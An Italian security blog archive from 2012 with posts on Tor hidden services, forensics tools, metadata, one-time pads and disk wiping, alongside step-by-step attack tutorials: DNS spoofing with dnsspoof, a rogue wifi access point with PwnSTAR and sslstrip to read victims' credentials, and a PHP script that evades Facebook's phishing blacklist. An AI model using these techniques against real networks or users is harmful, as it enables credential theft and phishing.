venerdì 7 dicembre 2012

Esplorare il deepweb senza tor

Abbiamo già visto come è possibile esplora il deepweb utilizzando il software TOR, che oltre a consentire l'apertura di siti  ".onion"  garantisce anche l' anonimato del visitatore. È comunque possibile utilizzare dei servizi in rete che permettono di navigare in oninonet senza installare nulla. Un ottimo servizio che consente di farlo è www.onion.to. Per testare il servizio avete bisogno di indirizzi che potete trovare qui http://pastehtml.com/view/bchyjy6dn.html, e del vostro browser preferito. Per iniziare la navigazione procedete come segue:

1)Copiare l'indirizzo desiderato sulla barra di navigazione del browser (es. clsvtzwzdgzkjda7.onion)

2)Aggiungere manualmente ".to" dopo il dominio "onion" , se l'indirizzo dopo onion continua non importa, ".to" deve essere aggiunto SOLO dopo "onion" lasciando inalterato il resto dell' indirizzo (es. clsvtzwzdgzkjda7.onion.to).

3)Inviare ed attendere l'apertura della pagina.


Tutto semplice, però vanno fatte alcune considerazioni, l' apertura delle pagine è lenta ,del resto sarebbe lenta anche utilizzando TOR, inoltre i siti .onion non sempre sono online, in quanto spesso sono ospitati su un PC, e quando il PC è spento il sito è down. Infine  la cosa più importante, visitando onionnet con questo servizio NON sarete in nessun modo anonimi, e visto che molti dei contenuti in onionnet sono illegali conviene fare molta attenzione.

sabato 1 dicembre 2012

Computer forensics con software free

L'informatica forense è la scienza che studia l'individuazione, la conservazione, la protezione e l'estrazione, di dati informatici al fine di essere valutato in un processo giuridico, in particolare la computer forensics si occupa delle tecniche e degli strumenti per esaminare i sistemi informatici. Generalmente si è portati a pensare che gli strumenti software per eseguire queste analisi siano molto costosi e accessibili solo a strutture specializzate, in realtà moltissimi di questi sono alla portata di tutti poichè si tratta di software di pubblico dominio. In quanto a software l'informatica è molto "democratica", se dal punto di vista  hardware le grandi aziende specializzate, o gli enti governativi, hanno a disposizione macchine con potenze di calcolo molto superiori ai nostri PC, come software siamo piu o meno allo stesso livello. Ecco un bell' elenco di programmi assolutamente free , ordinati per il relativo campo di utilizzo.


Recupero Dati Windows:
Recuva (freeware)
PC Inspector File Recovery (freeware)
Soft Perfect File Recovery (freeware)
Undelete Plus (freeware)
Restoration (freeware)
TestDisk Data Recovery (freeware)
Scaven (freeware)

Linux CD forensi:
DEFT (Digital Evidence & Forensic Toolkit) (opensource)
CAINE (opensource)
Forlex (opensource)
FCCU GNU/Linux Forensic Boot CD (opensource)
IRITaly Live CD (opensource)
Knoppix Security Distribution (opensource)
Network Security Toolkit (opensource)

Backtrack (opensource)

Duplicazione dati in Linux:
DCFLDD (opensource - Linux)
AIR (Automated Image Restore) (opensource - Linux)

Duplicazione dati Windows:
FTK Imager (freeware)

Recupero password Windows:
LCP (Windows password) (freeware)
AIM Password Recovery (freeware)
Messenger PassView (freeware)
Mail PassView (freeware)

IE PassView (freeware)
Protected Storage PassView (freeware)
Asterisk Logger (freeware)
Aster Win IE (freeware)
Network Password Recovery (freeware)
SniffPass (freeware)
PSTPassword (freeware)
PasswordFox (Firefox) (freeware)
ChromePass (Google Chrome) (freeware)
WirelessKeyView (freeware)
Remote Desktop PassView (freeware)
VNC PassView (freeware)
CMOSPwd (freeware)

Analisi di sistema Windows:
Sysinternals Utility (freeware)
ProduKey (freeware)
OpenedFilesView (freeware)
USBDeview (freeware)
SysExporter (freeware)
ActivePorts (freeware)
Chrootkit (freeware)   

venerdì 30 novembre 2012

Spoofing DNS con Dnsspoof

Dnsspoof è contenuto nel pacchetto Dsniff e consente di creare risposte DNS sulla rete locale, le comunicazioni DNS vengono eseguite con User Datagram Protocol (UDP), un protocollo senza connessione, funziona in questo modo:

1)Un client DNS invia una query e si mette in attesa di una risposta.
2)Alla query viene assegnato un numero di identificazione pseudo casuale, che dovrebbe essere presente nella risposta del server DNS.
3)Quando la risposta dal server DNS verrà ricevuta, sarà solo necessario confrontare se i numeri di identificazione corrispondono, in caso contrario sarà semplicemente ignorata.


Il protocollo DNS basandosi su UPD, non fornisce nessun tipo di protezione contro lo spoofing, di fatto è molto semplice costruire un pacchetto falso ed inviarlo al client, in quanto mancano i numeri SYN/ACK che, ad esempio, rendono più sicuro il protocollo TCP. Per rendere possibile falsificare risposte DNS su rete locale è possibile utilizzare dnsspoof , questo software può costruire una risposta falsa e arrivare al client DNS  prima che arrivi la risposta del server DNS autentico. Per l'utilizzo pratico è necessario creare un file di testo contenente le query da intercettare in modo da fornire la "falsa risposta"(è anche possibile fare a meno di questo file, in tal caso tutte le richieste dei client sulla rete saranno intercettate).
Il file può avere questa struttura:

192.168.1.100 www.sito1.com
192.168.1.101 mail*
192.168.1.102 google*
................
.............


Come potete osservare gli indirizzi "192.168.1.xxx" sono le risposte alle varie richieste del client, se il client chiede al server DNS di risolvere l'indirizzo "www.sito1.com" riceverà come risposta "192.168.1.100", nella seconda e terza linea si vede come è possibile utilizzare i caratteri jolly. La seconda linea a tutte le richieste del client che cominciano con "mail" risponde con l'indirizzo "192.168.1.101". È importante che ci sia un solo indirizzo per linea, altrimenti il file non potrà essere letto.Una volta salvato il file (es. spoofh.txt) e scelta l'interfaccia di rete su cui restare in ascolto(es. at0) è sufficiente lanciare il programma:

dnsspoof -i at0 -f spoofh.txt

mercoledì 28 novembre 2012

La ricerca nel web invisibile

Il Web invisibile si riferisce alla parte del WWW che non è indicizzato dai motori di ricerca. La maggior parte della gente pensa che la potenza di ricerca di motori come Google e Bing sia senza limiti, e che nulla pubblicato in rete possa sfuggire alla loro individuazione e indicizzazione.
In realtà le cose non sono così semplici, l'indicizzazione dei documenti da parte dei motori usa uno schema abbastanza semplice, utilizzando un web spider che rileva le pagine seguendo un collegamento ipertestuale dopo l'altro. Ma ci sono alcuni luoghi dove uno spider non può entrare, prendete ad esempio i database delle biblioteche che hanno bisogno di una password per l'accesso, o anche le pagine che appartengono a reti di organizzazioni private, oppure le pagine web generate dinamicamente in risposta a una query, generalmente tutte queste categorie di pagine non sono indicizzate dai motori di ricerca. Quindi anche se la tecnologia dei motori ha fatto enormi progressi rimangono ampie fasce del web che un motore di ricerca "generalista" non può indicizzare, questa parte del web è chiamata "web invisibile". Per avere un' idea della vastità della documentazione che sfugge ai principali motori di ricerca basta leggere cosa dice wikipedia a riguardo, stima una dimensione di 167 terabyte per il web "aperto" contro 91000 terabyte per il web "invisibile".

Per ricercare documentazione non indicizzata dai motori generalisti è possibile utilizzare dei motori specializzati ecco i principali:

1)http://infomine.ucr.edu/  Infomine è stato costruito da un pool di biblioteche universitarie negli Stati Uniti. Alcune di queste sono University of California, Wake Forest University, California State University, e l'Università di Detroit. Ricerca in banche dati, periodici elettronici, libri elettronici, bacheche, mailing list, schedari di biblioteche, directory di ricercatori, e molte altre risorse.

2)http://vlib.org/ Questo è considerato il più antico catalogo sul web ed è stato avviato  da Tim Berners-Lee, il creatore del web.

3)http://www.intute.ac.uk/ In cui collaborano alcune delle più apprezzate università del regno unito.

4)http://aip.completeplanet.com  Molto ben progettato rende facile accedere alla massa di informazioni delle banche di dati dinamici.

5)http://www.infoplease.com Dove è possibile attingere a un buon numero di enciclopedie, almanacchi,  atlanti geografici, e biografie.

6)http://www.deepwebtech.com/ DeepWebTech offre cinque motori di ricerca per argomenti specifici. I motori di ricerca riguardano la scienza, la medicina, e le imprese.

7)http://www.scirus.com Scirus ha un focus scientifico. Si tratta di un motore di ricerca di vasta portata che può setacciare riviste, homepage di scienziati, brevetti e altro.

8)http://www.techxtra.ac.uk TechXtra si concentra su ingegneria, matematica e informatica. Ti dà notizie del settore, annunci di lavoro, relazioni tecniche e dati tecnici.

venerdì 23 novembre 2012

Attacco "man in the middle" con PwnSTAR

Con lo script PwnSTAR implementare un attacco MITM sulle reti wifi è davvero semplice , questo vi dovrebbe mettere in guardia per quanto riguarda l'utilizzo di reti WIFI aperte ,  il semplice utilizzo di queste reti potrebbe mettere a serio rischio i vostri dati personali. Ecco come è possibile farlo con PwnSTAR_0.8.

1)Spostarsi nella cartella dove c'è lo script ed eseguirlo come "root":

./PwnSTAR_0.8

2)Scegliere "3" "Sniffing: provide internet access, then be MITM"
3)Inserire nome dell'interfaccia collegata ad internet, se siete collegati ad internet con una scheda WIFI il MAC della scheda verrà cambiato e dovrete riconnettervi ad internet.
4)Inserire nome dell' interfaccia WIFI da usare come AP.
5)Ora PwnSTAR vi propone 2 metodi per cambiare il MAC della scheda WIFI "Random MAC? (y). Or manual (m)" scegliere "y".
6)Alla domanda "Do you want to scan eg to discover target channel, ESSID etc? (y/n)" scegliere "n" , se scegliete "y" verrà lanciato in una finestra il programma "airodump-ng" che in questo caso non ci interessa.
7)Adesso dovete configurare i parametri dell' AP da creare, scegliere "3" , poi inserire il numero del canale (es. "6") , e infine premere "c".
8)A questo punto scegliete il tipo di AP , scegliere "2" (Bullzeye--> Broadcasts only the specified ESSID)
9)Inserire il nome dell'AP ad esempio "freewifi", se tutto è andato bene si aprirà una finestra che vi mostrerà l' access point creato

10)Dopo aver controllato i parametri del server dhcp premere "c", e si aprirà una finestra che vi mostra chi è collegato alla rete.
11)Alla domanda "Start ferret on at0? (y/n)" scegliere "y", e comparirà la finestra che mostra il traffico nella rete creata.

12)Ulteriore richiesta "Start sslstrip? (y/n)" scegliere "y" , in questo modo avrete un file(sslstrip.log) dove verranno memorizzati i dati del traffico ssl sulla rete.
13)Ultima domanda "Tail sslstrip.log? (y/n)" scegliere "y", si aprirà una finestra che vi consente di vedere in tempo reale il file sslstrip.log. Ora supponiamo che qualcuno , trovando questa rete WIFI sprotetta si colleghi alla propria casella gmail, guardate cosa potete leggere sulla finestra di ferret.

sabato 17 novembre 2012

PwnSTAR lo script per creare fake AP

PwnSTAR è uno  script per linux che consente di creare degli "Access Point WIFI esca", quando la vittima è connessa è possibile fare diverse cose , le più notevoli sono:

a)Creare un "Honeypot" (AP aperto), per poi usare nmap,  metasploit ed altro.
b)Dirigere la vittima verso la pagina web che desideriamo
c)Dirigerla verso un portale che ospita un sito di pishing
d)Implementare un attacco "man in the middle", in modo da intercettare tutte le credenziali di accesso della vittima, nei siti a cui si collega durante la sessione.


Funziona in Linux e potete scaricarlo a questo indirizzo http://code.google.com/p/pwn-star/ la versione più recente è la 0.8, per l'esecuzione è necessario aver installate molte applicazioni (aireplay, airbase , airmon, apache2, sslstrip, ferret...) la cosa più semplice è utilizzare backtrack 5.2 in cui queste applicazioni sono già presenti. Purtroppo lo script dipende dall' installazione di una versione del server dchp3 superata, quindi anche con backtrack 5.2 dovete utilizzare synaptic per "forzare" la versione "3.1.3-2ubuntu3.2 (stable)" di dhcp3, procedere come segue:

1)lanciare synaptic e cercare "dhcp3-common "
2)individuato il pacchetto "3.1.3-2ubuntu3.2 (stable)",  dal menu di synaptic "Package"  selezionare "Force Version"
3)premere "Apply"


Prima di installare il pacchetto, synaptic rimuoverà alcuni pacchetti di versioni più recenti (dhcp3-common, dhcp3-gtk, dhcp3-daemon, ed anche Wicd). Una volta terminato, chiudere synaptic e reinstallare wicd:

apt-get install wicd

poi installare dhcp3-server:

apt-get install dhcp3-server

Per configurarlo aprite il file

nano /etc/dhcp3/dhcpd.conf 

cancellate tutto e copiate questa configurazione:

default-lease-time 600;
 max-lease-time 7200;

option subnet-mask 255.255.255.0;
 option broadcast-address 192.168.0.255;
 option routers 192.168.0.1;
 option domain-name-servers 192.168.0.1, 192.168.0.2;
 option domain-name "yourdomainname.com";

subnet 192.168.0.0 netmask 255.255.255.0 {
 range 192.168.0.10 192.168.0.200;
 }


Dopo aver salvato il file potete testare se il server funziona:

/etc/init.d/dhcp3-server start

Se ricevete questa risposta:

Starting DHCP server dhcpd3                                           [ OK ]

allora tutto è andato bene. Ora possiamo concentrarci su PwnSTAR_0.8, scompattare l'archivio:

tar xfvz PwnSTAR.tgz

bisogna spostare il contenuto di alcune cartelle ottenute nella cartella WWW del server apache2(supponiamo di aver scompattato il file sul desktop):

mv -f '/root/Desktop/hotspot_2' /var/www
mv -f '/root/Desktop/portal_hotspot' /var/www
mv -f '/root/Desktop/portal_pdf' /var/www
mv -f '/root/Desktop/portal_simple' /var/www


Bene ora dovrebbe essere tutto pronto! Proviamo a creare un "Honeypot", come primo passo eseguiamo lo script:

./PwnSTAR_0.8

dal menu scegliamo:

1

dopo questa scelta lo script ci chiede quale interfaccia wifi intendiamo usare, scriviamo e inviamo:

wlan0

ora dobbiamo scegliere se intendiamo utilizzare un MAC random o inserirne uno manualmente scegliamo random quindi premere:

y

adesso ci chiede se vogliamo fare una scansione dei vari canali wifi rispondiamo:

n

ci vengono mostrati i parametri della rete che intendiamo creare, scegliamo il canale premendo:

3

e poi

1

ed infine:

c

scegliamo " Bullzeye--> Broadcasts only the specified ESSID" come tipo di AP , quindi premere:

2

scriviamo il nome che intendiamo dare all' AP e inviamo:

mioAP

infine premiamo "c" per lanciare il server dhcp, il nostro Honeypot è pronto! Nei prossimi articoli analizzeremo altre potenzialità di questo script.

mercoledì 14 novembre 2012

Foto digitali , metadati e privacy

Guardando delle vecchie foto qualche volta vi sarete domandati chi fosse il soggetto, di che anno fosse la foto , oppure dove fosse il luogo ritratto in quell' immagine, naturalmente le domande non sempre potevano trovare una risposta , a meno che uno dei vostri amici non ne fosse a conoscenza, oppure qualcuno avesse appuntato a penna, nel retro della foto, quei dati. Oggi, con le foto digitali, molte di queste informazioni sono incapsulate nei vostri file di immagine sotto forma di "metadati", ed è possibile recuperarle con dei software liberamente accessibili. L'uso dei metadati consente la ricerca, selezione, localizzazione e la gestione delle immagini digitali, è da notare che questi dati sono nascosti alla visualizzazione ed è possibile accedere ad essi solo con del software adatto. Esistono diversi protocolli per la scrittura di metadati sulle immagini ad esempio:

EXIF
IPTC IIM
XMP
DISC
Mpeg-7
NISO
MODS


Lo standard EXIF, ad oggi, è probabilmente il più utilizzato e supportato dalla maggior parte delle fotocamere digitali anche quelle in dotazione ai nostri telefonini. Ma che genere di informazioni questo protocollo nasconde nelle nostre foto? Se avete pazienza e volete approfondire l'argomento vi consiglio di leggervi direttamente il documento ufficiale che trovate qui http://www.cipa.jp/english/hyoujunka/kikaku/pdf/DC-008-2010_E.pdf . Ad ogni modo scaricando il software picasa(http://picasa.google.com/) se aprite le vostre foto ve ne renderete subito conto. A parte molte informazioni tecniche ci sono anche data e ora, e se la fotocamera supporta la localizzazione gps, anche le coordinate geografiche del luogo in cui la foto è stata scattata. Curiosando nello standard ho visto che è presente anche un misterioso parametro:

ImageUniqueID
This tag indicates an identifier assigned uniquely to each image. It is recorded as an ASCII string
equivalent to hexadecimal notation and 128-bit fixed length.
Tag = 42016 (A420.H)
Type = ASCII
Count = 33
Default = None


Una stringa di 128 bit che identifica in modo univoco la foto, potrebbe essere ottenuta da qualche funzione di  hash, e se così fosse, da cosa si ricava questa hash-sum? Oltre al file dell'immagine(ed ai vari metadati), potrebbero anche averci inserito l' imei del dispositivo che ha scattato la foto? Sarebbe interessante scoprirlo.Bene, ora sappiamo che qualcuno guardando le foto che postiamo sul web potrebbe risalire ai luoghi che frequentiamo, considerando questo fatto da un punto di vista della privacy non sempre può far piacere, ma per fortuna questi "metadati" sono facilmente cancellabili o modificabili con dei software gratuiti. In Linux ci sono diversi programmi per "ripulire" le foto dai metadati uno è jhead, l'uso è semplice:

Per vedere i metadati digitare:

jhead foto.jpg

Per cancellare i metadati:

jhead -purejpg foto.jpg

Per cancellare i metadati da tutte le foto contenute in una cartella , entrare nella cartella e digitare:

jhead -purejpg *

Per windows esiste un buon software chiamato filemind-quickfix, che potete scaricare qui http://downloads.yahoo.com/software/windows-web-tools-filemind-quickfix-s616927.

martedì 13 novembre 2012

Crittografia simmetrica inattaccabile

La crittografia simmetrica consiste nella applicazione di un algoritmo ad un insieme di dati(ad esempio un testo), che abbia la proprietà di essere invertibile utilizzando la stessa chiave cifrante o una chiave che sia facilmente calcolabile dalla chiava cifrante.La "chiave" deve essere in possesso di entrambe le parti , quindi è essenziale per la sicurezza condividerla attraverso un canale sicuro, inoltre si può affermare ,in linea generale ed indipendentemente dall' algoritmo utilizzato, che più la chiave è lunga più è sicura. Gli algoritmi di crittografia simmetrica sono molto veloci da un punto di vista computazionale, molto di più di quelli a chiave pubblica(vedi PGP) per questo motivo sono in gran parte utilizzati dove la velocità è un fattore determinante per le prestazioni. Come avviene per esempio nei protocolli di rete crittografici quali SSL, in questo caso le due parti si scambiano la chiave simmetrica in modo sicuro con un protocollo a chiave pubblica, e poi iniziano a comunicare criptando il resto della comunicazione con chiave simmetrica condivisa.Se volete dare uno sguardo agli algoritmi attualmente più utilizzati potete andare su questa pagina http://danieler.altervista.org/aes.html dove è possibile criptare online un testo con molti algoritmi .Un caso particolare della crittografia simmetrica è il "cifrario di Vernam" detto anche "One Time Pad", in esso la chiave condivisa (detta Pad) deve avere la stessa lunghezza del testo in chiaro, e se il Pad è generato casualmente ed è utilizzato UNA SOLA VOLTA, questo cifrario diventa "matematicamente inattaccabile". Anche se è inattaccabile il suo funzionamento ,nella forma classica, è semplicissimo si sceglie un cifrario facendo corrispondere ad un numero una determinata lettera (es. a=1 b=2....z=25), poi si sommano le lettere del testo in chiaro con quelle corrispondenti del Pad, se la somma supera 25(questo numero dipende dalla lunghezza del cifrario) si ricomincia a contare le successive dall' inizio del cifrario , quindi si prende la lettera risultante da questa "somma circolare" come "testo cifrato".  Ecco un esempio:


c(3)  i(9)  a(1)  o(13) testo chiaro
a(1)  c(3)  a(1)  p(14) Pad
d(4) n(12)  b(2)  b(27) testo criptato


Questo metodo di cifratura è stato utilizzato ai tempi della guerra fredda, e in 20 anni gli americani riuscirono a decifrare pochissimi messaggi che si scambiavano i sovietici, e riuscirono a decifrarli solo perché i mittenti utilizzarono per più di una volta lo stesso Pad. Ancora oggi il cifrario di Vernam è considerato un "cifrario perfetto". Da un punto di vista informatico il cifrario di Vernam è facilmente implementabile visto che la somma circolare corrisponde all' operazione xor fra i singoli bit, come esempio potete visitare questa pagina http://danieler.altervista.org/vernan.html dove ho utilizzato i codici ascii di lettere e numeri come cifrario, e l'operazione xor fra i bit per codifica e decodifica.

sabato 10 novembre 2012

Come creare un sito nel deepweb

Molti non sono a conoscenza che il software TOR oltre a garantire la privacy mentre visitiamo il web o la rete onion, consente anche di pubblicare un sito completamente anonimo. Necessariamente il sito avrà estensione ".onion", e visto che i servizi di free hosting nel deepweb sono rarissimi, è possibile ospitarlo sul  pc installando un web server, in questa guida illustrerò il sistema di farlo con  Ubuntu/linux. Il software necesario per realizzare questo hidden service comprende :

a)tor-browser, scaricate da qui https://www.torproject.org/download/download ed istallate

b)tor, potete scaricare il sorgente aggiornato qui https://www.torproject.org/download/download ed installarlo , oppure aggiungere il repository adatto per la propria distribuzione, ed installarlo col comando "sudo apt-get install tor"

c)web server, qui ho scelto un web server leggerissimo , che richiede poco tempo per la sua configurazione e poca memoria per il suo utilizzo "thttpd", per scaricarlo ed installarlo i comandi sono :


wget http://www.acme.com/software/thttpd/thttpd-2.25b.tar.gz
tar xvfz thttpd-2.25b.tar.gz
cd thttpd-2.25b/
sudo ./configure && make


Una volta portate a termine le installazioni  passiamo alle semplici configurazioni cominciamo dal server, entriamo nell directory :

cd thttpd-2.25b/

e creiamo la cartella che conterrà il nostro sito web , supponiamo di chiamarla "miosito" :

mkdir miosito
chmod -R 744 miosito


Nella cartella dovrete mettere tutti i file che compongono il sito da pubblicare , a questo punto bisogna mettere il server in ascolto quindi procedere come segue:

cd thttpd-2.25b/miosito
../thttpd -p 5222 -h localhost


Ora passiamo a configurare tor, aprite il file /etc/tor/torrc come root :

sudo nano /etc/tor/torrc

cercate :

#HiddenServicePort 80 127.0.0.1:80
#HiddenServicePort 22 127.0.0.1:22


aggiungete le seguenti linee ( "miosito" e "nomeutente" sostituiteli in base al vostro nome utente ed a come avete chiamato la cartella che contiene il vostro sito ):

HiddenServiceDir /home/nomeutente/thttpd-2.25b/miosito/
HiddenServicePort 80 127.0.0.1:5222


Salvate e chiudete, adesso lanciate tor , se tutto è andato bene nella cartella "miosito" verranno creati 2 nuovi file, nel file hostname è scritto l'indirizzo del vostro sito. Lanciate tor-browser nella barra degli indirizzi copiate il vostro , ad esempio :

rn76hbjywo3oknsx.onion/pagina.html

Se il browser visualizza la pagina tutto è andato bene! Non vi resta che attendere i primi visitatori.

giovedì 8 novembre 2012

Decriptare i link con LinkDecrypter

Molto spesso navigando in rete ci troviamo davanti a dei link criptati con qualche servizio online, a volte questi link,che generalmente sono molto brevi, sono comodi ed evitano di scrivere indirizzi estremamente lunghi. Altre volte sono utilizzati per rendere difficoltoso individuare il sito originale, specie quando rimandano a file protetti da copyright che siano film o software.Ci sono centinaia di siti che consentono di generare url  criptate (alcuni  ,molto fastidiosi , inseriscono banner pubblicitari ed obbligano ad attendere decine di secondi prima di dirigerci al link originale).
Tanto per citarne alcuni:

bit.ly
tr.im
is.gd
tinyurl


È inutile che vi dica che aprire questi link a cuor leggero non è sempre una buona cosa,infatti le url brevi sono uno dei metodi per occultare siti di phishing. Verificare l'indirizzo originale potrebbe farci risparmiare tempo, nel caso l'url breve ci propini dei minuti di pubblicità, e potrebbe metterci al sicuro da eventuali siti di phishing , in quanto se il sito originale è stato segnalato come malevolo riceveremmo un avviso sul browser prima di aprire la pagina.
Per effettuare la decodifica dei link protetti volevo segnalarvi questo sito http://linkdecrypter.com/ , una volta immesso l'indirizzo criptato riesce a risalire al sito originale in pochi secondi, le url brevi che è possibile decriptare sono centinaia, non vi resta che provarlo.

mercoledì 7 novembre 2012

Phishing nella chat di Facebook

Facebook ha preso provvedimenti per quanto riguarda la possibilità di linkare in chat i siti che sono segnalati malevoli, in sostanza ha creato una "blacklist" di siti e di domini, quindi è teoricamente impossibile trasmetterli(come link) attraverso la chat.Anche molte "url  brevi" (quegli indirizzi brevi che rimandano al sito originale) molto spesso non sono accettati in chat.Per cui sembrerebbe tutto risolto, in realtà vi sono alcuni metodi per aggirare la blacklist e mettere in pericolo i nostri dati personali.Quando incolliamo un link nella chat, in realtà chiamiamo una pagina PHP di Facebook:

http://www.facebook.com/l.php?u=http://www.sito.com&h=1AQFW4sMm

La pagina PHP riceve 2 parametri di cui il primo("u") identifica il sito che intendiamo linkare , questo script verifica che il sito non sia in blacklist, e successivamente avvisa che si sta per abbandonare Facebook ed aprire un sito esterno. Per evitare la censura di Facebook, dovremmo quindi creare una pagina su un host considerato "affidabile" e dal sito affidabile aprire il sito in blacklist. Ecco un esempio pratico, avete bisogno di 3 cose:

1)account su host non in blacklist(potete aprirlo qui www.altervista.org, dovete abilitare il server-to-server)
2)account su host in blacklist (potete aprirlo qui 000webhost.com, il server-to-server è abilitato di default)
3 il seguente script PHP (salvatelo con un nome a caso "nome.php")

<?php
$url=vostrosito.freeiz.com; //mettete il nome del vostro sito
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$str = curl_exec($ch);
echo $str;
curl_close($ch);
?>


Lo script deve essere copiato nella directory pubblica del sito "vostrosito.altervista.com", se ora aprite il seguente link:

http://www.facebook.com/l.php?u=http://vostrosito.altervista.com/nome.php&h=1AQFW4sMm

Sul browser comparirà la pagina ospitata da "vostrosito.freeiz.com"(dominio bannato da Facebook), in realtà la pagina vi è stata mandata dal server di altervista(se controllate sulla barra degli indirizzi ve ne renderete conto), ma cliccando su un qualsiasi link di questa pagina vi troverete a tutti gli effetti su vostrosito.freeiz.com.

PS. Vi ricordo che il Phishing è un crimine informatico! Quindi leggete questo ed altri articoli SOLO a titolo informativo.

martedì 6 novembre 2012

Formattazione profonda di un hard disk

Il problema della formattazione sicura di un hard disk è un fatto da non sottovalutare, se durante il suo utilizzo vi abbiamo memorizzato dei dati sensibili è buona norma procedere ad una formattazione profonda.Così facendo impedirete ,a chiunque  ne entri in possesso, di recuperare facilmente i dati in esso memorizzati e solo apparentemente cancellati da una formattazione frettolosa e approssimativa.È possibile catalogare il tipo di formattazione in due categorie "logica" e "fisica" la seconda è detta anche di basso livello. La formattazione fisica consiste nella creazione dei settori su disco completi di indirizzi,  con la parte riservata ai dati(quella che useremo per memorizzare file e programmi) piena di dati casuali, questa formattazione generalmente è fatta dal produttore dell' hard disk. La formattazione "logica" invece non è altro che la preparazione di un disco per lo standard del sistema operativo che dovrà ospitare.Come potete capire, se un disco è stato utilizzato, la formattazione non garantisce l'eliminazione dei dati, ma solo la compatibilità dell' hard disk a poter contenere un nuovo sistema operativo, in altre parole non si cancellano fisicamente i dati ma semplicemente si toglie ad essi il significato.
Ora, focalizzando l'attenzione sulla possibilità di restituire un senso a quei dati, è ovvio che una formattazione a basso livello agisce più in profondità di una formattazione logica , ma di per se non può garantire che qualcuno ,con del software adeguato, possa recuperare in tutto o in parte il contenuto del nostro hard disk formattato. Per darvi un'idea, personalmente facendo due "formattazioni logiche" consecutive a distanza di pochi giorni, sono riuscito a recuperare tutto il contenuto del mio hard disk, utilizzando software freeware e senza richiedere costosissimi lavori alle aziende specializzate in recupero dati.
La soluzione per la privacy è dunque buttare l'hard disk dopo averlo distrutto e magari messo a bagno in qualche acido?  Sicuramente questa è una valida soluzione, ma un buon software free può risolvere il problema si chiama DBAN,e potete scaricarlo a questo indirizzo http://www.dban.org/download.
Si tratta veramente di un ottimo programma che funziona da cd,quindi per utilizzarlo dovete masterizzare il file .iso su un cd (e poi eseguire il boot del computer da cd). DBAN scrive dati casuali nei settori dell' hard disk utilizzati dai dati, e dopo fa seguire una formattazione fisica, consentendoci di liberarci del nostro hard disk senza doverlo necessariamente distruggere.DBAN offre diverse opzioni di formattazione:


1)DoD 520.22-M (Utilizzato dal ministero della difesa USA) consiste in 3 cicli di cancellazione. La testina esegue la sovrascrittura del disco rigido per  3 volte; Il primo con un valore casuale, il secondo con una sequenza di bit opposta ed il terzo casuale.

2)Standard Nato: sette cicli di cancellazione. Sei con 00 e FF alternati, il settimo casuale. La testina esegue 7 passate.

3)RCMP TSSIT OPS-II (Royal Canadian Mounted Police Technical Security Standard for Information Technology) : Standard di eliminazione della polizia canadese, che attua 8 sovrascritture prima della formattazione;

4)Il Metodo Gutmann : è un algortimo che fa eseguire alla testina 35 passate, è considerato il più sicuro  e completo ma anche quello che impiega più tempo. Utilizzato anche dalla CIA ( Central Intelligence Agency).


Se non siete degli agenti governativi credo che il metodo DoD sia quello che fa per voi, anche perchè se volete proprio usare il metodo Gutmann dovrete pazientare parecchi giorni prima di portare a termine la formattazione.

sabato 3 novembre 2012

Creare la nostra catena di proxy personale

I proxy sono dei server collegati alla rete che permettono alle informazioni di transitare attraverso di loro, in sostanza sono degli intermediari fra il nostro PC (client) e il sito che vogliamo visitare(server host). Lo schema di funzionamento è sintetizzabile in 3 fasi:

1) Il client si collega al proxy ed invia la richiesta.
2) Il proxy si collega al server del sito web e inoltra la richiesta del client.
3) Il proxy ricevuta la risposta la inoltra al client.


Potete intuire che l'utilizzo di proxy, almeno teoricamente, ha un effetto anonimizzante notevole, poiché il sito visitato non avrà accesso all'indirizzo IP del client ma a quello del server proxy. Ho detto "teoricamente" non a caso, in quanto molti proxy trasmettono il nostro indirizzo IP al server del sito che stiamo visitando.Quindi se per caso abbiamo la necessità di utilizzare proxy, dovremmo prima capire se quello che intendiamo utilizzare è anonimo o no. Ad ogni modo, anche quelli anonimi probabilmente conservano i log del traffico di rete in qualche file. Ci sono dei limiti pratici all' utilizzo dei proxy anonimi(detti anche trasparenti) , generalmente sono molto lenti, spesso non funzionano, e alcuni host non aprono le pagine se si accorgono che a visitarle è un proxy anonimo.Però se avete esigenza di un anonimato "più forte" l'utilizzo di un solo proxy non è consigliato, è necessario concatenarli, quello che fa ad esempio il programma TOR(inoltre quest'ultimo cambia la configurazione dei proxy a brevi intervalli di tempo).Ma è possibile concatenare più proxy senza utilizzare programmi specifici e avendo la facoltà di scegliere i proxy che vogliamo noi?La risposta è si! Un metodo semplice è concatenare più server CGI ad esempio se volessimo concatenare i due proxy CGI anonymouse.org e anonymizer.nntime.com, e volessimo visitare il sito www.sito.com dovremmo procedere nel modo seguente:

1)da anonymouse.org aprire anonymizer.nntime.com
2)una volta entrati in anonymizer.nntime.com aprire www.sito.com


Tutto molto semplice ma estremamente lento in quanto i siti CGI anonimi , a causa della facilità di utilizzo sono molto frequentati. Per questo motivo ho scritto uno script PHP che consente di creare la nostra lista di " proxy personali"  su server host che accettano comunicazione server-to-server, lo script è questo:

<?php
$str=$_GET['server'];
$arr=explode(',', $str);
$num=count($arr);
if($num>1){
$url="http://".$arr[0]."/jump.php?server=";
for($a=1;$a<$num;$a++){
$url=$url.$arr[$a];
if($a!=($num-1))
$url=$url.",";
}}
else{
$url="http://".$arr[0];
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$str = curl_exec($ch);
echo $str;
curl_close($ch);
?>
(*nota se il file è memorizzato con nome diverso da "jump.php"  è necessario cambiarlo anche nello script.)

Supponiamo di salvarlo col nome "jump.php", è necessario copiarlo sui vari server che si intende utilizzare come proxy personale, ad esempio se volessimo farlo su 3 server il file dovrebbe trovarsi nelle seguenti cartelle:

http://www.server1.com/jump.php
http://www.server2.com/jump.php
http://www.server3.com/jump.php


Ora è sufficiente scrivere nella barra degli indirizzi del browser:

http://www.server1.com/jump.php?server=www.server2.com,www.server3.com,www.sitodavisitare.com/pagina.html

In sostanza solo il "server3" visita la pagina del "sitodavisitare", e questa arriverà al nostro browser dopo aver risalito a ritroso la catena dei proxy.
In linea di principio non c'è limite al numero dei proxy che è possibile aggiungere, nella pratica mettendone molti è possibile incorrere in problemi di timeout, inoltre lo script è testato solo con pagine "html pure".
Una avvertenza! Non usate i server altrui , se intendete fare dei test sul funzionamento dello script aprite degli account su servizi di free-hosting(esempio www.altervista.org ,www.000webhost.com), se utilizzate server in cui non siete autorizzati potrete incorrere in seri problemi legali.



